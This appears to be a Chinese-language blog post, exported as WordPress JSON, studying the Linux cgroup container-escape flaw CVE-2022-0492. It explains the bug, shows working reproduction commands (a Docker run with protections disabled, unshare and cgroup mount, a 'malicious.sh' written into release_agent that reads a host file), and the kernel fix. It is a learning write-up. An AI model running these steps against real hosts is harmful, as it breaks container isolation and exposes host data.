{"id":330,"date":"2023-01-10T15:59:04","date_gmt":"2023-01-10T07:59:04","guid":{"rendered":"https:\/\/h4ckm310n.com\/?p=330"},"modified":"2023-07-02T17:20:07","modified_gmt":"2023-07-02T09:20:07","slug":"cve-2022-0492%e5%ad%a6%e4%b9%a0%e3%80%901%e3%80%91%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95","status":"publish","type":"post","link":"https:\/\/h4ckm310n.com\/?p=330","title":{"rendered":"CVE-2022-0492\u5b66\u4e60"},"content":{"rendered":"

<\/p>\n

\u6f0f\u6d1e\u5206\u6790<\/h4>\n

CVE-2022-0492\u662f\u4e00\u4e2acgroup\u6f0f\u6d1e\uff0c\u5229\u7528\u8fd9\u4e2a\u6f0f\u6d1e\u53ef\u4ee5\u4fee\u6539release_agent\u6587\u4ef6\u5e76\u6267\u884c\u4efb\u610f\u7a0b\u5e8f\u3002<\/p>\n

release_agent\u662fcgroup v1\u7684\u4e00\u4e2a\u7279\u6027\uff0c\u5f53notify_on_release\u6587\u4ef6\u7684\u5185\u5bb9\u8bbe\u4e3a1\u65f6\uff0c\u8fd9\u4e2a\u529f\u80fd\u624d\u4f1a\u542f\u7528\u3002\u5f53\u8fdb\u7a0b\u7ec8\u6b62\u65f6\uff0c\u7cfb\u7edf\u5185\u6838\u4f1a\u8fd0\u884crelease_agent\u6587\u4ef6\u5185\u5bb9\u4e2d\u6307\u5411\u7684\u7a0b\u5e8f\u8def\u5f84\uff0c\u4e5f\u5c31\u662f\u8bf4\u53ea\u8981\u7528\u6237\u80fd\u591f\u4fee\u6539\u8fd9\u4e2a\u6587\u4ef6\uff0c\u5c31\u80fd\u591f\u8ba9\u5185\u6838\u4ee5\u66f4\u9ad8\u6743\u9650\u8fd0\u884c\u4efb\u610f\u7a0b\u5e8f\uff0c\u56e0\u6b64\u8fd9\u4e2a\u6587\u4ef6\u53ea\u80fd\u591f\u88abroot\u7528\u6237\u4fee\u6539\u3002\u7136\u800c\uff0c\u5728\u5199\u5165\u8be5\u6587\u4ef6\u7684\u8fc7\u7a0b\u4e2d\uff0c\u5185\u6838\u5e76\u6ca1\u6709\u68c0\u67e5\u5199\u5165\u7684\u8fdb\u7a0b\u662f\u5426\u5177\u6709CAP_SYS_ADMIN\u6743\u9650\uff0c\u56e0\u6b64\u5728\u5bb9\u5668\u4e2d\uff0c\u4efb\u610f\u4ee5root\u7528\u6237\u8fd0\u884c\u7684\u8fdb\u7a0b\u90fd\u53ef\u4ee5\u4fee\u6539\u8fd9\u4e2a\u6587\u4ef6[1.1]\uff1a<\/p>\n

static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of,\r\n                      char *buf, size_t nbytes, loff_t off)\r\n{\r\n    struct cgroup *cgrp;\r\n\r\n    BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX); cgrp = cgroup_kn_lock_live(of->kn, false);\r\n    if (!cgrp)\r\n        return -ENODEV;\r\n    spin_lock(&release_agent_path_lock);\r\n    strlcpy(cgrp->root->release_agent_path, strstrip(buf),\r\n        sizeof(cgrp->root->release_agent_path));\r\n    spin_unlock(&release_agent_path_lock);\r\n    cgroup_kn_unlock(of->kn);\r\n    return nbytes;\r\n}\r\n<\/pre>\n
\u8981\u5229\u7528\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u9700\u8981\u6ee1\u8db3\u4ee5\u4e0b\u51e0\u4e2a\u6761\u4ef6\uff1a
\n1. \u5bb9\u5668\u652f\u6301cgroup v1\uff0c\u800cv2\u5219\u4e0d\u53d7\u8be5\u6f0f\u6d1e\u5f71\u54cd\uff1b
\n2. \u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u5728\u5bb9\u5668\u4e2dcgroup\u6587\u4ef6\u7cfb\u7edf\u662f\u53ea\u8bfb\u7684\uff0c\u56e0\u6b64\u9700\u8981\u6302\u8f7d\u4e00\u4e2a\u53ef\u5199\u7684cgroupfs\uff1b
\n3. \u8981\u5728\u5bb9\u5668\u4e2d\u6267\u884c\u6302\u8f7d\u64cd\u4f5c\uff0c\u9700\u8981\u5173\u95edAppArmor\u6216SELinux\uff1b
\n4. \u8fdb\u7a0b\u8fd8\u9700\u8981\u62e5\u6709CAP_SYS_ADMIN\u8fd9\u4e00capability\u624d\u80fd\u6302\u8f7dcgroupfs\uff0c\u8981\u5728\u5bb9\u5668\u4e2d\u83b7\u53d6CAP_SYS_ADMIN\u9700\u8981\u8c03\u7528unshare\u547d\u4ee4\uff0c\u8fd9\u4e00\u64cd\u4f5c\u9700\u8981\u5173\u95edSecComp\uff1b
\n5. \u5bb9\u5668\u9700\u8981\u901a\u8fc7root\u7528\u6237\u8fd0\u884c\u3002<\/p>\n
\u6f0f\u6d1e\u590d\u73b0<\/h4>\n
\u7cfb\u7edf\uff1aUbuntu 20.04
\n\u5185\u6838\uff1a5.4.0-90
\ncontainerd\uff1a1.5.10-1\uff08\u6700\u65b0\u72481.6\u4f3c\u4e4e\u4e0d\u80fd\u6302\u8f7droot cgroup\uff09<\/p>\n
\u9996\u5148\u521b\u5efa\u4e00\u4e2a\u5bb9\u5668\uff0c\u5e76\u4e14\u9700\u8981\u5173\u95edSecComp\u548cAppArmor\uff1a<\/p>\n
docker run -it --name ubuntu0492 --security-opt=\"seccomp=unconfined\" --security-opt=\"apparmor=unconfined\" ubuntu:20.04 \/bin\/bash\r\n<\/pre>\n
\u8fdb\u5165\u5bb9\u5668\u4e4b\u540e\uff0c\u7528\u521b\u5efa\u4e00\u4e2a\u65b0\u7684namespace\u5e76\u6302\u8f7d\u53ef\u5199\u7684cgroupfs\uff0c\u7136\u540e\u5f00\u542frelease_agent\uff1a<\/p>\n
unshare -UrmC bash\r\nmkdir \/mnt\/cgroup\r\nmount -t cgroup -o rdma cgroup \/mnt\/cgroup\r\nmkdir \/mnt\/cgroup\/x\r\necho 1 > \/mnt\/cgroup\/x\/notify_on_release\r\n<\/pre>\n
\u8f93\u5165mount\u547d\u4ee4\uff0c\u627e\u5230upperdir\uff0c\u7136\u540e\u5728\u6839\u76ee\u5f55\u4e0b\u521b\u5efa\u4e00\u4e2aresult\u7a7a\u6587\u4ef6\u548c\u4e00\u4e2amalicious.sh\u811a\u672c\uff0c\u540e\u8005\u7684\u5185\u5bb9\u4e3a\uff1a<\/p>\n
#!\/bin\/sh\r\ncat \/file123 >> \/var\/lib\/docker\/overlay2\/e0e969f051de8ae72b030deaae13512ce85e6a3ffe035f366661fd6ab1f71b29\/diff\/result\r\n<\/pre>\n
\u5176\u4e2d\uff0cfile123\u4e3a\u5bbf\u4e3b\u7cfb\u7edf\u7684\u6839\u76ee\u5f55\u4e0b\u7684\u4e00\u4e2a\u6587\u4ef6\uff0c\u5185\u5bb9\u4e3a\u201chost file\u201d\u3002<\/p>\n
\u4fee\u6539release_agent\u6587\u4ef6\uff1a<\/p>\n
\/var\/lib\/docker\/overlay2\/e0e969f051de8ae72b030deaae13512ce85e6a3ffe035f366661fd6ab1f71b29\/diff\/malicious.sh\r\n<\/pre>\n
\u521b\u5efa\u4e00\u4e2a\u9a6c\u4e0a\u7ec8\u6b62\u7684\u8fdb\u7a0b\uff1a<\/p>\n
sh -c \"echo \\$\\$ > \/mnt\/cgroup\/x\/cgroup.procs\"\r\n<\/pre>\n
\u518d\u6b21\u8bfb\u53d6result\u6587\u4ef6\uff0c\u5c31\u53ef\u4ee5\u770b\u5230\u5bbf\u4e3b\u7684file123\u6587\u4ef6\u4e2d\u7684\u5185\u5bb9\uff1a
\n\"\"<\/p>\n
\u5b98\u65b9\u4fee\u590d<\/h4>\n
\u5728\u5b98\u65b9\u7684\u4fee\u590d\u65b9\u6848\u4e2d\uff0c\u5728\u5199\u5165release_agent\u6587\u4ef6\u4e4b\u524d\uff0c\u4f1a\u5148\u68c0\u67e5namespace\u662f\u5426\u662finit_user_ns\uff0c\u4ee5\u53ca\u8fdb\u7a0b\u662f\u5426\u62e5\u6709CAP_SYS_ADMIN[3.1]\u3002<\/p>\n
if ((of->file->f_cred->user_ns != &init_user_ns) || !capable(CAP_SYS_ADMIN))\r\n    return -EPERM;\r\n<\/pre>\n
\u53c2\u8003<\/h4>\n
[1.1] https:\/\/git.kernel.org\/pub\/scm\/linux\/kernel\/git\/torvalds\/linux.git\/tree\/kernel\/cgroup\/cgroup-v1.c?id=c80d401c52a2d1baf2a5afeb06f0ffe678e56d23#n545<\/a>
\n[2.1] https:\/\/sysdig.com\/blog\/detecting-mitigating-cve-2022-0492-sysdig\/<\/a>
\n[2.2] https:\/\/unit42.paloaltonetworks.com\/cve-2022-0492-cgroups\/<\/a>
\n[3.1] https:\/\/git.kernel.org\/pub\/scm\/linux\/kernel\/git\/torvalds\/linux.git\/commit\/?id=24f6008564183aa120d07c03d9289519c2fe02af<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uag_custom_page_level_css":"","site-sidebar-layout":"default","site-content-layout":"default","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"default","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[16,6],"tags":[],"class_list":["post-330","post","type-post","status-publish","format-standard","hentry","category-16","category-6"],"uagb_featured_image_src":{"full":false,"thumbnail":false,"medium":false,"medium_large":false,"large":false,"1536x1536":false,"2048x2048":false},"uagb_author_info":{"display_name":"h4ckm310n","author_link":"https:\/\/h4ckm310n.com\/?author=1"},"uagb_comment_info":0,"uagb_excerpt":null,"_links":{"self":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/330","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=330"}],"version-history":[{"count":6,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/330\/revisions"}],"predecessor-version":[{"id":466,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/330\/revisions\/466"}],"wp:attachment":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=330"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=330"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=330"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}